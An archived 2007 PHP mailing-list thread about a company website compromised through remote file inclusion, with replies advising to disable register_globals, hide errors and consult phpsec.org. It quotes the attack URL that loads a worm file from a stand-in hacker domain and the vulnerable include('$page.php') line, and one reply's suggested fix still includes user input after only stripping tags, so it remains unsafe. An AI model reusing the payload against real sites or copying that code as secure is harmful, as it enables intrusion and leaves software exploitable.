Re: [PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 15:30:07 von Dave Goodchild

------=_Part_68441_393066.1173969007111
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Turn off register_globals - if you pollute your scripts with global
variables like that you are asking for trouble. If you can't make sure you
clean the variable.

Using include("$page.php") is asking for trouble.

If you can get register_globals switched off (it's off by default in PHP5
for this very reason) then use the kind of security procedure so well
explained on brainbulb.com (also well worth watching the audit cast):

Maybe something like:

$page = isset($_GET['page']) ? trim(strip_tags($_GET['page'])) : 'page';

// clean data here, ie check suffix, reun tests, and only then...

include "$page.php";

------=_Part_68441_393066.1173969007111--

Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 16:54:34 von seak.tf

Seak, Teng-Fong wrote:
> No, I don't deserve anything because, as I've written in the
> original post (but I suppose you didn't notice), the website is
> outsourced and made by a 3rd company.
Well, I've just realised (and checked) that I forgot to mention that
my company's website was outsourced. I mentioned it in other threads. :p

I know ASP and JSP, but not PHP. I've not got much time to invest
into this.


----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 16:54:34 von seak.tf

Seak, Teng-Fong wrote:
> No, I don't deserve anything because, as I've written in the
> original post (but I suppose you didn't notice), the website is
> outsourced and made by a 3rd company.
Well, I've just realised (and checked) that I forgot to mention that
my company's website was outsourced. I mentioned it in other threads. :p

I know ASP and JSP, but not PHP. I've not got much time to invest
into this.


----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 20:32:27 von Richard Lynch

On Thu, March 15, 2007 9:15 am, Seak, Teng-Fong wrote:
> Stut wrote:
>> Seak, Teng-Fong wrote:
>>> But after I've spent some time reading the log files, I've
>>> finally
>>> found out how the hackers managed to achieve worm infiltration.
>>>
>>> Actually, they're using an URL like this:
>>> http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?
>>>
>>>
>>> And the some-worm-file.txt file contains some PHP code, while
>>> my
>>> index.php contains this instruction:
>>> include("$page.php");

DON'T DO THAT!!!

It is incredibly open to the problem that has bit you.

There is a setting in php.ini to turn it OFF, actually.

>>> This is enough to make infiltration possible! IMO, this
>>> instruction
>>> is supposed to be used like this, isn't it? So this is obviously a
>>> PHP
>>> security loophole and I don't see how the "poorly written scripts"
>>> can
>>> help anything unless a totally rewrite! And there's no "poor
>>> server
>>> security" that I can see.

No, it is *NOT* supposed to be used like that.

The programmer is supposed to have half a clue, and not do something
that incredibly stupid, which has been documented in a thousand
places.

Start reading here:
http://phpsec.org/

>> You mean to say that you're not validating what you're getting from
>> the user? Frankly you deserve everything you get.
> No, I don't deserve anything because, as I've written in the
> original post (but I suppose you didn't notice), the website is
> outsourced and made by a 3rd company. I had already spent a lot of
> time
> to learn and understand PHP, which normally isn't a part of my job.
> So,
> I had already done more than I should.

Perhaps you can get some satisfaction by suing that 3rd party, on the
basis of incompetence.

Or not, if you are the one who did the include("$page.php");

>> This is *not* a "security loophole", it *is* a poorly written
>> script.
> Well, when something doesn't produce the expected effect/result,
> or
> produce a side-effect, it's considered as a bug. If that's not a bug,
> why would the behaviour be changed from PHP4 to PHP5 then?
>>> I've installed PHP5 and the problem seems fixed. However, PHP
>>> writes out where the problem occurs! Indeed, the hacker could read
>>> a
>>> line like this:
>>> Warning: include() [function.include]: URL file-access is disabled
>>> in
>>> the server configuration in
>>> C:\Inetpub\wwwroot\index.php on line X

That is a configuration option in php.ini

It is not a core change to the PHP from 4 to 5.

In fact, I think it was available in PHP 4 as well, or at least later
versions of PHP 4.

>>> I don't want them (the hackers) to be able to read this either.
>>> That gives too much information about my server's file system. How
>>> can
>>> I stop that?

In your php.ini
display_errors off

You may also want to turn the logging of errors ON so you can find
your mistakes.

While you're at it, crank up the error_reporting to E_ALL please.

Thanks.

>> Read the manual, specifically the error_reporting part. You can turn
>> the display of these messages off.
> I had. Well, I had tried to do so, spending time out of my
> tightly
> scheduled job planning.

Guess you didn't schedule very well, then...

--
Some people have a "gift" link here.
Know what I want?
I want you to buy a CD from some starving artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 20:32:27 von Richard Lynch

On Thu, March 15, 2007 9:15 am, Seak, Teng-Fong wrote:
> Stut wrote:
>> Seak, Teng-Fong wrote:
>>> But after I've spent some time reading the log files, I've
>>> finally
>>> found out how the hackers managed to achieve worm infiltration.
>>>
>>> Actually, they're using an URL like this:
>>> http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?
>>>
>>>
>>> And the some-worm-file.txt file contains some PHP code, while
>>> my
>>> index.php contains this instruction:
>>> include("$page.php");

DON'T DO THAT!!!

It is incredibly open to the problem that has bit you.

There is a setting in php.ini to turn it OFF, actually.

>>> This is enough to make infiltration possible! IMO, this
>>> instruction
>>> is supposed to be used like this, isn't it? So this is obviously a
>>> PHP
>>> security loophole and I don't see how the "poorly written scripts"
>>> can
>>> help anything unless a totally rewrite! And there's no "poor
>>> server
>>> security" that I can see.

No, it is *NOT* supposed to be used like that.

The programmer is supposed to have half a clue, and not do something
that incredibly stupid, which has been documented in a thousand
places.

Start reading here:
http://phpsec.org/

>> You mean to say that you're not validating what you're getting from
>> the user? Frankly you deserve everything you get.
> No, I don't deserve anything because, as I've written in the
> original post (but I suppose you didn't notice), the website is
> outsourced and made by a 3rd company. I had already spent a lot of
> time
> to learn and understand PHP, which normally isn't a part of my job.
> So,
> I had already done more than I should.

Perhaps you can get some satisfaction by suing that 3rd party, on the
basis of incompetence.

Or not, if you are the one who did the include("$page.php");

>> This is *not* a "security loophole", it *is* a poorly written
>> script.
> Well, when something doesn't produce the expected effect/result,
> or
> produce a side-effect, it's considered as a bug. If that's not a bug,
> why would the behaviour be changed from PHP4 to PHP5 then?
>>> I've installed PHP5 and the problem seems fixed. However, PHP
>>> writes out where the problem occurs! Indeed, the hacker could read
>>> a
>>> line like this:
>>> Warning: include() [function.include]: URL file-access is disabled
>>> in
>>> the server configuration in
>>> C:\Inetpub\wwwroot\index.php on line X

That is a configuration option in php.ini

It is not a core change to the PHP from 4 to 5.

In fact, I think it was available in PHP 4 as well, or at least later
versions of PHP 4.

>>> I don't want them (the hackers) to be able to read this either.
>>> That gives too much information about my server's file system. How
>>> can
>>> I stop that?

In your php.ini
display_errors off

You may also want to turn the logging of errors ON so you can find
your mistakes.

While you're at it, crank up the error_reporting to E_ALL please.

Thanks.

>> Read the manual, specifically the error_reporting part. You can turn
>> the display of these messages off.
> I had. Well, I had tried to do so, spending time out of my
> tightly
> scheduled job planning.

Guess you didn't schedule very well, then...

--
Some people have a "gift" link here.
Know what I want?
I want you to buy a CD from some starving artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php